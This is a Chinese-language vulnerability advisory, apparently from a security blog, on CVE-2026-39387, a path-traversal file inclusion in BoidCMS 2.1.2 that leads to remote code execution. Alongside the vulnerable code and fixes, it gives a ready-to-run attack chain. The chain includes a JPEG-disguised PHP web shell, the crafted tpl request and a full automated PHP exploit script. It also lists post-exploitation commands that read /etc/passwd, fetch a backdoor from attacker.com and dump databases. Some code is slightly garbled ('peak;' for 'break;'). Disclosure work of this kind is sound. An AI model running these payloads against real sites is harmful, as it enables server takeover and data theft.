首页 网络安全 正文
  • 本文约4139字,阅读需21分钟
  • 133
  • 0

BoidCMS高危本地文件包含漏洞CVE-2026-39387

摘要

栋科技漏洞库关注到 BoidCMS 2.1.2 及早版本通过 tpl 参数存在高危本地文件包含漏洞,追踪为CVE-2026-39387,CVSS 3.X评分7.2。

BoidCMS 是一款开源、无数据库(Flat-File)内容管理系统,其基于 WonderCMS 分支开发,主打极简部署、快速建站与模块化扩展。

一、基本情况

BoidCMS 是一个开源的 PHP 内容管理系统,可用于网站页面与主题模板管理,以 JSON 文件存储数据,兼顾易用性与开发者友好度。

BoidCMS高危本地文件包含漏洞CVE-2026-39387

BoidCMS 基于 WonderCMS 分支开发,面向个人博客、小型官网与轻量化 Web 项目,零数据库,因此无需 MySQL 等关系型数据库。

栋科技漏洞库关注到 BoidCMS 2.1.2 及早版本通过 tpl 参数存在高危本地文件包含漏洞,追踪为CVE-2026-39387,CVSS 3.X评分7.2。

二、漏洞分析

CVE-2026-39387漏洞是 BoidCMS 相关版本中,存在一个通过 tpl 参数实现可导致远程代码执行(RCE)的本地文件包含(LFI)漏洞。

漏洞源于相关版本应用在页面创建和更新过程中未对 tpl(模板)参数进行校验,形成本地文件包含(LFI)→ 远程代码执行(RCE)。

该参数未经适当过滤或路径校验,直接被传入 require_once () 语句。

已认证管理员可利用路径遍历序列(../)操控该参数,突破预设的主题目录限制,包含媒体目录中的任意 PHP 文件。

因此意味着已认证管理员可利用路径遍历序列包含服务器媒体目录中的任意文件,进而导致未授权远程代码执行,可完全控制服务器。

结合文件上传功能,攻击者可上传嵌入PHP代码伪装图片文件,利用路径遍历漏洞包含该文件,以Web服务器权限实现远程代码执行。

具体来说,受影响版本中,管理员在后台创建或更新页面时可通过 tpl 参数写入页面模板名,

app/app.php 的 render() 函数随后将存储的 tpl 值传入 theme() 拼接为主题路径,并在 if ( is_file( $tpl ) ) { require_once $tpl; } 中加载;

在 2.1.2 代码路径里,admin()、create_page()、update_page() 到 page('tpl') 的链路允许攻击者借助路径遍历控制被加载文件,

公告指出,该问题可进一步包含已上传文件并执行 PHP 代码,形成从本地文件包含到远程代码执行的利用链。

修复版本中通过在 admin() 的创建与更新流程中对 $_POST['tpl'] 调用 esc_slug(),并在模板列表处理时对候选值调用 esc_slug(),

将模板名限制为 slug 形式,阻断经 tpl 参数进行目录遍历并加载主题目录外文件的路径。

(一)漏洞代码

漏洞 1:未校验的模板参数存储

位置:app/app.php → 第 388-394 行 → 方法:create_page ()

代码:

public function create_page( string $slug, array $fields ): bool {
    $this->get_action( 'create_page', $slug, $fields );
    $keys = array_keys( $fields );

    // ISSUE: Only sanitize title, descr, keywords
    // The 'tpl' parameter is stored WITHOUT ANY VALIDATION
    $fields = array_map( 
        fn ( $value, $key ) => in_array( 
            $key, 
            [ 'title', 'descr', 'keywords' ] 
        ) ? htmlspecialchars( $value, ENT_QUOTES | ENT_HTML5, 'UTF-8', false ) : $value, 
        $fields, 
        $keys 
    );

    $this->database[ 'pages' ][ $slug ] = array_combine( $keys, $fields );
    return $this->save();
}

问题:tpl 字段可接收任意值(包含路径遍历序列),未做任何校验。

漏洞 2:不安全的文件包含

位置:app/app.php → 第 1242-1251 行 → 方法:render ()

代码:

case $this->page( 'pub' ):
    $type = $this->page( 'type' );
    $this->get_action( $type . '_type' );

    $tpl = $this->theme( $this->page( 'tpl' ) );

    if ( is_file( $tpl ) ) {
        require_once $tpl;  // DANGEROUS: Executes arbitrary PHP files
        peak;
    }

    require_once $this->theme( 'theme.php' );
    peak;

问题:require_once () 语句会执行构造路径下的任意 PHP 文件,包含攻击者上传的文件。

漏洞 3:路径校验不足

位置:app/app.php → 第 204-207 行 → 方法:theme ()

代码:

public function theme( string $location, bool $system = true ): string {
    $location = ( 'themes/' . $this->get( 'theme' ) . '/' . $location );
    return ( $system ? $this->root( $location ) : $this->url( $location ) );
}

问题:路径拼接操作未校验最终路径是否仍处于主题目录范围内,未拦截路径遍历序列。

(二)路径解析示例:

输入:tpl = "../../media/shell.jpg"

拼接结果:{wepoot}/themes/default/../../media/shell.jpg

解析结果:{wepoot}/media/shell.jpg (Escapes themes directory!)

(三)攻击链 - 分步说明

1、创建恶意载荷文件

创建一个包含有效图片文件头 + PHP 代码的 JPEG 文件:

# Create JPEG with valid header
printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00' > shell.jpg

# Append PHP code
cat >> shell.jpg << 'PAYLOAD'
<?php
    if( isset( $_GET['cmd'] ) ) {
        echo "<pre>";
        system( $_GET['cmd'] );
        echo "</pre>";
    }
?>
PAYLOAD

结果:文件 shell.jpg 包含:

有效 JPEG 文件幻数:FF D8 FF E0

嵌入在 JPEG 数据中的 PHP 执行代码

3、通过管理员媒体面板上传文件

操作:

访问 https://target.com/admin

使用管理员凭据完成认证

进入媒体(Media)板块

点击上传(Upload)

选择 shell.jpg

点击上传(Upload)

结果:文件上传至 {wepoot}/media/shell.jpg

重要说明:JPEG 文件头可绕过上传检测。该文件名义上为图片格式,实际包含可执行 PHP 代码。

3、创建带有路径遍历的漏洞页面

新建页面并拦截请求,修改 tpl 参数。

使用 Burp Suite 或浏览器开发者工具:

HTTP POST 请求:
POST /admin?page=create HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=[admin_session]

type=page
&title=Normal+Title
&descr=Normal+Description
&keywords=test,page
&content=Normal+page+content
&permalink=normal-page
&tpl=../../media/shell.jpg
&thumb=
&date=2025-03-19T12:00:00
&pub=true
&token=[CSRF_TOKEN]
&create=Create

关键参数:tpl=../../media/shell.jpg

该参数告知应用程序:

定位至:/themes/default/

执行:../../(向上跳转 2 级目录至网站根目录 /)

执行:media/shell.jpg(访问已上传的恶意文件)

结果:包含恶意模板路径的页面已成功创建并存储至数据库。

4、触发远程代码执行

访问创建的恶意页面:

GET /normal-page?cmd=id HTTP/1.1
Host: target.com

执行流程:

  • 用户访问 /normal-page
  • 页面标记为 pub=true(已发布)
  • 应用从数据库加载页面信息
  • render () 方法构造模板文件路径
  • 路径解析为 /media/shell.jpg
  • 对恶意图片文件执行 require_once
  • 图片内嵌入的 PHP 代码被执行
  • 处理命令参数 cmd=id
  • 向用户展示执行结果

预期输出:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

5、交互式命令执行(权限提升)

一旦确认远程代码执行成功,攻击者可执行以下操作:

收集系统信息:

/normal-page?cmd=uname%20-a
/normal-page?cmd=cat%20/etc/passwd
/normal-page?cmd=ps%20aux

修改服务器配置:

/normal-page?cmd=wget%20http://attacker.com/backdoor.php%20-O%20/tmp/backdoor.php
/normal-page?cmd=cp%20/tmp/backdoor.php%20/var/www/html/
/normal-page?cmd=chmod%20777%20/var/www/html/backdoor.php

数据库攻陷:

/normal-page?cmd=mysql%20-u%20root%20-p%27password%27%20-e%20%22SHOW%20DATABASES%22
/normal-page?cmd=mysqldump%20-u%20root%20-p%27password%27%20database%20%3E%20/tmp/dump.sql

三、POC概念验证

1、自动化 PoC 脚本

<?php
/**
 * BoidCMS v2.1.2 - LFI to RCE PoC
 * Demonstrates path traversal vulnerability
 */

class BoidCMSExploit {
    private $baseUrl;
    private $adminUser;
    private $adminPass;
    private $session;

    public function __construct( $url, $user, $pass ) {
        $this->baseUrl = rtrim( $url, '/' );
        $this->adminUser = $user;
        $this->adminPass = $pass;
        $this->session = curl_init();
    }

    public function exploit() {
        echo "[*] BoidCMS v2.1.2 - LFI to RCE Exploit\n";
        echo "[*] Target: " . $this->baseUrl . "\n\n";

        // Step 1: Login
        if ( !$this->login() ) {
            echo "[-] Login failed\n";
            return false;
        }

        // Step 2: Upload payload
        if ( !$this->uploadPayload() ) {
            echo "[-] Upload failed\n";
            return false;
        }

        // Step 3: Create malicious page
        if ( !$this->createMaliciousPage() ) {
            echo "[-] Page creation failed\n";
            return false;
        }

        // Step 4: Trigger RCE
        if ( !$this->triggerRCE() ) {
            echo "[-] RCE trigger failed\n";
            return false;
        }

        echo "[+] Exploitation successful!\n";
        return true;
    }

    private function login() {
        echo "[*] Authenticating...\n";
        $response = $this->makeRequest( 
            $this->baseUrl . '/admin',
            'POST',
            [
                'username' => $this->adminUser,
                'password' => $this->adminPass,
                'login' => 'Login'
            ]
        );

        if ( strpos( $response, 'Incorrect' ) !== false ) {
            return false;
        }

        echo "[+] Authentication successful\n";
        return true;
    }

    private function uploadPayload() {
        echo "[*] Uploading malicious file...\n";

        // Create JPEG with PHP payload
        $jpeg_header = "\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00";
        $php_payload = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>';
        $payload = $jpeg_header . $php_payload;

        $file = tempnam( sys_get_temp_dir(), 'shell' );
        file_put_contents( $file, $payload );

        // Upload file
        $response = $this->makeRequest(
            $this->baseUrl . '/admin?page=media',
            'POST',
            [ 'file' => '@' . $file, 'upload' => 'Upload' ]
        );

        unlink( $file );

        if ( strpos( $response, 'uploaded' ) !== false ) {
            echo "[+] Payload uploaded\n";
            return true;
        }

        return false;
    }

    private function createMaliciousPage() {
        echo "[*] Creating vulnerable page...\n";

        $response = $this->makeRequest(
            $this->baseUrl . '/admin?page=create',
            'POST',
            [
                'type' => 'page',
                'title' => 'Test',
                'descr' => 'Test',
                'keywords' => 'test',
                'content' => 'test',
                'permalink' => 'rce-poc',
                'tpl' => '../../media/shell.jpg',
                'thumb' => '',
                'date' => '2025-03-19T00:00:00',
                'pub' => 'true',
                'create' => 'Create'
            ]
        );

        if ( strpos( $response, 'created' ) !== false ) {
            echo "[+] Malicious page created\n";
            return true;
        }

        return false;
    }

    private function triggerRCE() {
        echo "[*] Triggering RCE...\n";

        $response = $this->makeRequest(
            $this->baseUrl . '/rce-poc?cmd=id',
            'GET'
        );

        if ( strpos( $response, 'uid=' ) !== false ) {
            echo "[+] RCE Successful!\n";
            echo "[+] Output:\n" . $response . "\n";
            return true;
        }

        return false;
    }

    private function makeRequest( $url, $method = 'GET', $data = [] ) {
        curl_setopt( $this->session, CURLOPT_URL, $url );
        curl_setopt( $this->session, CURLOPT_RETURNTRANSFER, true );
        curl_setopt( $this->session, CURLOPT_COOKIEJAR, sys_get_temp_dir() . '/cookies.txt' );
        curl_setopt( $this->session, CURLOPT_COOKIEFILE, sys_get_temp_dir() . '/cookies.txt' );

        if ( $method === 'POST' ) {
            curl_setopt( $this->session, CURLOPT_POST, true );
            curl_setopt( $this->session, CURLOPT_POSTFIELDS, http_build_query( $data ) );
        }

        return curl_exec( $this->session );
    }
}

// Usage
$exploit = new BoidCMSExploit( 'http://target.com', 'admin', 'password' );
$exploit->exploit();
?>

2、修复建议

立即措施 - 修复方案 1:对模板名称实施白名单校验

public function create_page( string $slug, array $fields ): bool {
    $this->get_action( 'create_page', $slug, $fields );
    $keys = array_keys( $fields );

    // NEW: Validate tpl parameter
    if ( isset( $fields['tpl'] ) ) {
        // Only allow alphanumeric, dash, underscore, dot
        if ( !preg_match( '/^[a-zA-Z0-9._-]+$/', $fields['tpl'] ) ) {
            throw new Exception( 'Invalid template name format' );
        }

        // Ensure .php extension
        if ( !preg_match( '/\.php$/', $fields['tpl'] ) ) {
            $fields['tpl'] .= '.php';
        }
    }

    $fields = array_map( 
        fn ( $value, $key ) => in_array( $key, [ 'title', 'descr', 'keywords' ] ) 
            ? htmlspecialchars( $value, ENT_QUOTES | ENT_HTML5, 'UTF-8', false ) 
            : $value, 
        $fields, 
        $keys 
    );

    $this->database[ 'pages' ][ $slug ] = array_combine( $keys, $fields );
    return $this->save();
}

修复方案 2:拦截路径遍历字符

// In create_page() method, after tpl validation:
$dangerous_patterns = [ '..', '/', '\\', "\x00" ];
foreach ( $dangerous_patterns as $pattern ) {
    if ( strpos( $fields['tpl'], $pattern ) !== false ) {
        throw new Exception( 'Template name contains invalid characters' );
    }
}

修复方案 3:校验最终路径

public function render() {
    // ... existing code ...

    $tpl = $this->theme( $this->page( 'tpl' ) );

    // NEW: Validate the resolved path
    $allowed_dir = realpath( $this->root( 'themes/' . $this->get( 'theme' ) . '/' ) );
    $tpl_real = realpath( $tpl );

    // Ensure resolved path is within allowed directory
    if ( $tpl_real === false || strpos( $tpl_real, $allowed_dir ) !== 0 ) {
        throw new Exception( 'Template file outside allowed directory' );
    }

    if ( is_file( $tpl ) ) {
        require_once $tpl;
        peak;
    }
}

四、影响范围

BoidCMS <= 2.1.2

五、修复建议

BoidCMS >= 2.1.3

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接